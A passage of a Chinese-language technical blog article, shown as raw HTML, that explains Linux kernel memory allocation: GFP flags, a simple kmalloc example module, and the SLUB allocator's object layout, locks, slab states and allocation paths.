printed.\n&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">else</span><br/>        pr_info(<span style="color: rgb(152, 195, 121);">&#34;Memory allocation succeeded.\n&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">return</span> ptr;<br/>}<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">my_custom_free</span>(<span style="color: rgb(209, 154, 102);">void</span>* ptr) {<br/>    kfree(ptr);<br/>}<br/><span style="color: rgb(92, 99, 112);font-style: italic;">// 示例用法</span><br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">my_module_init</span>(<span style="color: rgb(209, 154, 102);">void</span>) {<br/>    <span style="color: rgb(209, 154, 102);">void</span>* allocated_memory = my_custom_allocation(<span style="color: rgb(209, 154, 102);">1024</span>);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">// 使用分配的内存...</span><br/>    my_custom_free(allocated_memory);<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}</code></pre><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 当你觉得内核预留内存充足的时候可以使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">GFP_ATOMIC</code>进行，这种操作是非阻塞的，一旦无法分配则直接返回失败，它和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">GFP_NOWAIT</code>的区别在于GFP_NOWAIT更适用于一般性的可睡眠上下文，但在分配失败时不希望等待的情况。这可以用于避免不必要的延迟。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• GFP_USER，来自用户空间的分配需求则需要该标识位。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这些是开发者在开发内核模块等时需要注意的标识，同样对我们理解内核代码进行漏洞挖掘也有一定的帮助，在整体范围上我们还需要知道，对于Linux kernel 内存分配来讲主要存在三个不同的分配器，当然也有其它分配器，不过这三个较为主流：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. Page allocator</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. Vmalloc allocator</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. Slab allocator</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中page allocator很好理解，用来进行物理页的分配，大小一般为4kb，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">vmalloc allocator</code>则主要是对虚拟内存连续块进行分配管理，但是因为在内核里面很多分配请求其实所需的内存大小都不超过4kb，因此简单的使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">page allocator</code>会导致资源浪费，因此就有了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">slab allocator</code>，它通过对不同类型的内核对象进行缓存来增加空间利用率，但是针对不同的环境和系统也存在不同的slab实现，因此Linux kernel一般存在三种不同的slab，分别命名为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SLAB</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SLUB</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SLOB</code>，其中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SLUB</code>是最广泛使用的版本。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(250, 81, 81);color: rgb(63, 63, 63);">SLUB分配器</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  SLUB分配器作为对象分配器，其分配大小跟内核对象大小有直接的关联，下面是它的简单布局：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002387" data-ratio="0.19722222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7a750d61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58yUsylMQOm5muVVTWJJWrjxp2hWQCickBlCVEkczd0eIa3rfAN9GBK9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Object content</code>是内核对象，其它部分根据是否开启内核的各种配置来决定其是否出现，比如Kasan区域和内核Kasan配置是否开启紧密相关。SLUB存在很多<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">slab cache</code>，在内核里面一般由<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache</code>对象来表示，kmem_cache对象里面包含了用来管理slab cache的所有信息，其中有一个成员为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">cpu_slab</code>，该成员作为一个指针指向<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache_cpu</code>结构体，kmem_cache_cpu结构体中的内容为和CPU相关的slab cache信息，对于每一个slab都有一个slab object表示，但是如果内核版本低于5.17的话，如果一个页处于一个slab中，在页对象中存在一个匿名的union来保存slab的信息，kmem_cache中的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache_node</code>成员则表示可以用于slab分配的内存节点。同时对于free object的管理，内核和用户态glibc也存在类似的地方，在对象中存在free pointer (FP)，该指针一般位于内核对象的起始位置，不过具体位置根据内核版本和不同对象之间存在差别。不过从上图可以看出有些时候内核对象只是分配出来的堆块的一部分，简单解释一下不同区域的作用。</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• RED zone left padding：当内核<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">slub_debug</code>开启的时候（slub_debug = Z） RED zone存在于内核对象的前面，此时<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache</code>→ <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">red_left_pad</code>成员表示RED zone left padding的大小，因此此时实际上的内核对象内容起始地址为内核对象地址加上RED zone padding的大小作为偏移，其中free list中的指针也不再指向内核对象的起始位置，而是指向内核对象起始地址加上RED zone的大小作为偏移的新地址，也就是实际上真实内存对象地址开始的地址。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Object content：这个就是真实的内核对象了，无论何时肯定存在，大小由<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache</code>→ <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">object_size</code>成员指定。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• READ zone：当内核slub_debug配置（slub_debug = Z）开启的时候存在该区域，不过在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache</code>中没有确定的成员来指定该区域的大小，一般来说REAQD zone大小为指针大小，因为一般内核对象的大小也就是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache</code>→ <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">object_size</code>是指针大小对齐的，那么假如kmem_cache→ object_size的大小没有指针对齐的话，内核对象的结尾地址和Metadata起始地址之间的内存空间就是RED zone。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Metadata：Metadata区域跟内核配置也有很大的关系，如上图所示的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Free Pointer</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Slub allocation info</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">KASan allocation info</code>都是和对应的内核debug配置相关的。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• Padding：这个很好理解，就是为了地址对齐的。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来聊一聊slab cache和内核对象之间的关系。slab cache中包含一个或多个slab，同时每个slab都包含一个或者多个物理页，这些页中包含指定大小的内核对象。内核对象和slab都是以链表的形式组织起来。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002388" data-ratio="0.6129629629629629" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=200f46f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58lRdbxNIWoVwxemib6O5zJlkHFSsjSUEy8GqrgFRYbvrVXugyhRc2jCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时对于slab cache而言，它存在一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">per-cpu active slab</code>，一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">per-cpu partial slab list</code>和一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">per-node partial slab list</code>，在per-cpu partial slab中的slab通过<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">slab.next</code>成员进行连接，在per-node partial slab lists中的slab则通过<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">slab.slab_list</code>成员进行连接，这一块最好还是通过源码了解一下，不然可能有点乱。至于per-cpu active slab很容易理解就是现在被用于分配内核对象的slab，当active slab的内核对象被分配完成的时候另一个slab开始分配内核对象，同时该slab转变为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">active slab</code>，同时在每一个slab cache中都包含一个per-cpu freelist，freelist中包含很多active slab中的内核对象，同时在slab结构体中也存在一个freelist，因此active slab中的内核对象可能随时处于两个列表中的一个，两个列表的区别在于per-cpu freelist是一个无锁列表，从无锁列表中分配内核对象，或者释放内核对象到无锁列表都不需要进行任何的中断和抢占操作，但是不是所有的slab和内核对象操作都可以通过无锁方式来实现，比如操作slab中的freelist，或者操作slabs list。slab的freelist可以参考下图：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002389" data-ratio="0.4324074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=81a009b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58EY5QrRiceqAzOvjpiaUgnSBV1s7zVW2MI1Y2xC453Q1Lr8S0LVSzickBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关于SLUB allocator中的锁一般有以下几种：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• slab_mutex：这是一个全局的mutex，主要用来保护slab cache中的list，并且在同步slab cache元数据的改变和内存热插拔的call back。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• kmem_cache_node-&gt;list_lock：这里使用spin lock来保护在各自内存节点上的partial slab和full slab，spin lock也保护partial slab的计数器counter，因此该锁是针对节点的，它存在较高的性能消耗。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• kmem_cache_cpu-&gt;lock：这里使用spin lock来保护per-cpu kmem_cache_cpu不出现在相同CPU上被中断和抢占冲突的情况。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• slab_lock（slab）：这个其实是对page lock的封装，它使用spin lock来保护freelist和不被使用的内核对象以及slab的一些属性。这是必须的假如系统不能够使用类似cmpxchg的指令来操作相关属性的时候。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• object_map_lock：这是一个全局spin lock，单纯是为了调试。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过上面的信息我们可以意识到，一个slab存在三种不同的状态：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. empty</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. full</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. partial</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于empty slab来说，其可以被回收，底层的page则会被返回给page allocator，对于任何partial list上面的slab要么是部分空的要么是全空的，full slab不需要特别关注，因为假如full slab上面的一个内核对象被释放了，那么可以通过该内核对象找到该slab并将该slab放在合适的slab链表上。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时slab依赖的page数量也是不固定的，可以是一个page也可以是多个page，page的数量取决于kmem_cache.oo成员（struct kmem_cache_order_objects oo;）该成员表示一个slab存在的内核对象数量。对于包含多个page的slab，一个融合页（compound page，which group of 2 or more physically contiguous pages）会被分配给它，在5.17之前版本的内核page结构体中存在slab_cache和freelist成员，融合页被slab_cache管理，并且在融合页中只有head page的freelist成员是有用的，对于尾部的页来说slab_cache和freelist成员不被用来识别slab_cache或者slab中的第一个free object，从5.17内核版本开始，slab_cache和freelist或者其它slab相关的成员被移动到单独的slab结构体中。不过无论slab存在于slab内核对象还是page内存对象，其freelist成员都指向该slab上第一个free的内核对象。</p><h4 style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(250, 81, 81);">如何分配一个内核对象</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对此基本上对slab有了一个大概的了解，那么一个内核对象到底如何从一个slab中被分配出来呢？首先，内核对象一定是从active slab上分配的，并且该过程不需要使用锁或者关闭中断，在freelist（kmem_cache.cpu_slab-&gt;freelist）上面的第一个内核对象会被分配出去，然后跟它在链表上处于相邻位置的内核对象会成为该链表的第一个内核对象，假如无锁链表（kmem_cache.cpu_slab-&gt;freelist）中的内核对象被分配完，那么该链表会变成一个空链表NULL，此时如果当前CPU架构不支持cmpxchg指令或者此时slub_debug功能开启，这种无锁的快速分配方式会被禁用，此时存在一些其它的性能较差的分配方式但是不同的方式存在不同的性能消耗，下面对这些分配方式进行介绍。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  假如per-cpu freelist，也就是无锁freelist不包含free的内核对象，但是active slab中的freelist存在free的内核对象，那么就会从slab的freelist上面分配一个内核对象给请求者，同时该freelist的其它free内核对象会被传递给无锁freelist，然后slab的freelist会被置NULL，这个传递的过程会关闭中断并请求kmem_cache_cpu.lock锁，因此它有一定的性能开销，但是这已经算是除了从无锁freelist上直接分配的方式外最快的方式了。不过这种情况下必须关闭内核的抢占配置CONFIG_PREEMPT_RT，因为kmem_cache_cpu.lock是一个spin lock并且保留启用抢占，显示的禁用抢占可以提升稳定性。在前文中提到per-cpu freelist和active slab freelist可以指向同一个free的内核对象，因为当一个slab转变为active slab的时候它的slab freelist中的内核对象会被转发到per-cpu freelist，然后slab freelist就会变为NULL，此时内核对象的分配会从per-cpu freelist上进行，最终这些内核对象还是会被free掉，假如这些内核对象在free的时候是被分配时使用的CPU free掉，那么就会进入per-cpu freelist，那么如果是被其它CPU free掉，那么这些内核对象就会进入到slab freelist，因此有时会出现slab freelist存在内核对象但是per-cpu freelist为空的情况。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  还有一种情况是active slab中不存在可用的内核对象，但是per-cpu partial slab list存在一些slab，它们有可用的内核对象，这种情况下，per-cpu partial slab list中的第一个slab会成为active slab，它的freelist被转移到per-cpu freelist，然后给需求方提供内核对象，这个过程依然需要关闭中断/抢占并请求kmem_cache_cpu.lock，同时相比于上一种方式还存在额外的性能开销：将per-cpu partial slab list的第二个slab（假如有的话）放在链表的头部，以及对active slab的切换处理。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么假如per-cpu slab无论是active还是partial都不存在可用的内核对象，那么就会尝试从per-node partial slab list中分配slab，首先我们要了解slab是如何添加到per-node partial slab list链表中的。当一个full slab变成empty slab或者partial slab的时候，该slab就会被放到per-cpu partial slab list，那么假如per-cpu partial slab list功能不被支持或者它已经存放了最大数量的内核对象，那么该slab 就会被放到per-node partial slab list。因此在per-cpu slab无论是active还是partial都不存在可用的内核对象的时候，slub分配器会从local node partial slab list获取slab，但是如果如果在该节点上无法找到合适的slab，之后就会从per-node partial slab list上面的其它节点中获取slab，对一个node partial slab list进行遍历需要请求kmem_cache_node.list_lock，并且因为这是一个central lock，因此这种分配方式存在比上一种更高的性能消耗。在遍历中找到合适的slab并将其freelist的第一个内核对象分配出去，紧接着slab中剩下的内核对象会成为per-cpu active slab的一部分。在开启per-cpu partial slab list的情况下，slub分配器会继续操作，将per-node partial slab list中的slab移动到per-cpu partial slab list直到per-node partial slab list为空或者per-cpu partial slab list中的slab数量已经达到最大值，该最大值依赖于内核对象的大小，假如内核对象大小&gt;=PAGE_SIZE，这个数量为6，对于内核对象大小小于256，这个数量为120。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  假如出现所有的slab都变成full slab，对于新的slab的分配则需要使用page allocator，这个新分配的slab会成为CPU当前的active slab，这种方式是性能消耗最严重的因为它需要从buddy allocator中获取新的物理页。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002390" data-ratio="0.4787037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=286bdbf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58iaCNJQHaaicMIvhBNrOk2Cjfg4Xtd0SmM2aGLocS1kboyFviaJO4zHDdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(250, 81, 81);">如何释放一个内核对象</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang 